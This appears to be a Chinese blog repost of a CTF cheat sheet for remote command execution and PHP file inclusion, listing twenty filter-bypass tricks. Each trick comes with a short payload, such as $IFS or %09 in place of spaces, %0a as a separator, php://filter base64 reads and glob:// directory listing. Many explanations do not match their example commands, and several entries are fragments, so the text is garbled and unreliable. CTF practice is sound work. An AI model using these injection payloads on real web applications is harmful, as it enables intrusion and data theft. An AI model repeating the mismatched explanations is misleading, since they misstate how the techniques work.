博客
关于我
CTF-RCE-总结(只记录解题方法,不记录具体原理)
阅读量:363 次
发布时间:2019-03-04

本文共 1757 字,大约阅读时间需要 5 分钟。

命令执行绕过技巧

1. 过滤关键词

1.1 使用转义符

通过在关键词前后使用转义符,例如 \,可以绕过过滤器。

cat \`flag\`

1.2 内联执行

通过将变量拼接在一起,实现内联命令执行。

a=flag;b=php;cat $IFS$a$b

1.3 变量绕过

利用变量来隐藏关键词。

a=flag;b=php;echo $a$'_'$b

1.4 编码绕过

使用编码技术,例如Base64,将关键词隐藏在可读性较低的编码中。

echo 'cat' | base64

1.5 字符串长度绕过

通过构造特殊字符,例如空格或换行符,来读取隐藏的文件内容。

cat /flag 2>/dev/null

2. 过滤空格

2.1 使用特殊字符

通过使用特殊字符,例如 %09$IFS,来替代空格。

cat %09flag.php

2.2 使用多种方法

结合多种方法,例如使用 catgrep,来过滤空格。

cat /flag | grep flag

3. 过滤目录分隔符

通过使用命令管道,例如 cat *,来绕过目录分隔符的过滤。

;cd flag_is_here;cat *

4. 过滤分隔符 | ; &

通过使用特殊字符,例如 %0a;,来替代分隔符。

cat flag.php%0als

5. 字符串长度受限

通过构造多个字符串,例如使用 \ 来表示换行符,来绕过长度限制。

echo "flag{hahaha}" > flag.txt

6. 无回显命令执行

通过使用 system() 函数或命令管道,例如 sh,来执行命令并无回显。

curl http://target/flag.php > flag.txt

7. PHP 远程包含

通过使用 php://input,结合 Base64 解码,来读取远程文件内容。

php://filter/convert.base64-encode/resource=flag.php

8. PHP 远程命令执行

通过构造特定的 PHP 代码,结合 system() 函数,来执行远程命令。

9. 使用目录调用命令

通过使用完整路径,例如 /bin/cat,来绕过文件包含限制。

/bin/cat flag.php

10. 使用 grep 绕过过滤

通过使用 grep 和通配符,来绕过关键词过滤。

grep flag.php f*.php

11. 构造特殊字符

通过数学运算和字符串操作,构造特殊字符来绕过过滤。

$(())=0$((~$(())))=-1

12. 利用 PHP 远程包含

通过构造特定的 PHP 代码,结合 data:// 协议,来读取远程文件内容。

data:text/plain;base64

13. 使用 glob:// 绕过目录限制

通过使用 glob:// 协议,来绕过目录过滤。

glob:///*/*.php

14. 利用 PHP 内置函数

通过使用 FilesystemIteratorReflectionClass 等内置类,来实现远程命令执行。

v1=FilesystemIterator;v2=getcwd

15. 利用 PHP 异常处理

通过构造特定的异常,结合 ReflectionClass,来实现远程命令执行。

new Exception

16. 利用 PHP 远程连接

通过构造特定的 PHP 代码,结合 socket_connect 函数,来实现远程连接。

17. 绕过 WAF 过滤

通过构造特殊请求,例如使用正则表达式,来绕过 WAF 过滤。

preg_match_all("/\/\//", $ip, $m)

18. 利用 PHP 远程文件包含

通过构造特定的 PHP 代码,结合 readfile() 函数,来读取远程文件内容。

19. 使用 tar 压缩文件

通过使用 tar 命令,将文件压缩后下载。

tar cvf flag.tar flag.php

20. 使用 bzip2 压缩文件

通过使用 bzip2 命令,将文件压缩后下载。

bzip2 flag.php

通过以上方法,可以有效绕过各种防护措施,实现远程命令执行和文件包含,提升攻击面的多样性和效果。

转载地址:http://umug.baihongyu.com/

你可能感兴趣的文章
Objective-C实现NMS非极大值抑制(附完整源码)
查看>>
Objective-C实现NMS非极大值抑制(附完整源码)
查看>>
Objective-C实现Node.Js中生成一个UUID/GUID算法(附完整源码)
查看>>
Objective-C实现not gate非门算法(附完整源码)
查看>>
Objective-C实现NQueen皇后问题算法(附完整源码)
查看>>
Objective-C实现number of digits解字符数算法(附完整源码)
查看>>
Objective-C实现NumberOfIslands岛屿的个数算法(附完整源码)
查看>>
Objective-C实现numerical integration数值积分算法(附完整源码)
查看>>
Objective-C实现n个取m个数的组合算法(附完整源码)
查看>>
Objective-C实现N数理论(质素相关)算法(附完整源码)
查看>>
Objective-C实现n皇后问题算法(附完整源码)
查看>>
Objective-C实现O(E + V) 中找到 0-1-graph 中的最短路径算法(附完整源码)
查看>>
Objective-C实现OCR文字识别(附完整源码)
查看>>
Objective-C实现odd even sort奇偶排序算法(附完整源码)
查看>>
Objective-C实现ohms law欧姆定律算法(附完整源码)
查看>>
Objective-C实现P-Series algorithm算法(附完整源码)
查看>>
Objective-C实现page rank算法(附完整源码)
查看>>
Objective-C实现PageRank算法(附完整源码)
查看>>
Objective-C实现pancake sort煎饼排序算法(附完整源码)
查看>>
Objective-C实现pascalTriangle帕斯卡三角形算法(附完整源码)
查看>>